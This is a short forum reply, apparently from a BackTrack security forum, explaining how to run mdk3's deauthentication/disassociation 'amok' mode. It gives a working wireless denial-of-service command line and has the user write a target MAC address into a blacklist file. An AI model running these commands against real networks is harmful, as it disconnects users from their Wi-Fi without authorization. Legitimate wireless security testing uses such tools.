What we're missing here is the code you are using and where you created the blacklist file.
Also, mdk3 is included in backtrack 4, no need to install or update anything.. is it now broke ?
As an example for the Deauthentication/Disassociation Amok mode ;
(assuming mon0 is your interface in monitor mode and that the target is on Channel 1)
First head to mdk3
Create a txt file with blacklisted MAC;
Start up mdk3;
echo 00:11:22:33:44:55 > blacklist.txt
Make sure that you correctly point to your blacklist file !
./mdk3 mon0 d -b blacklist.txt -c 1 -s 150
Let us know what happens.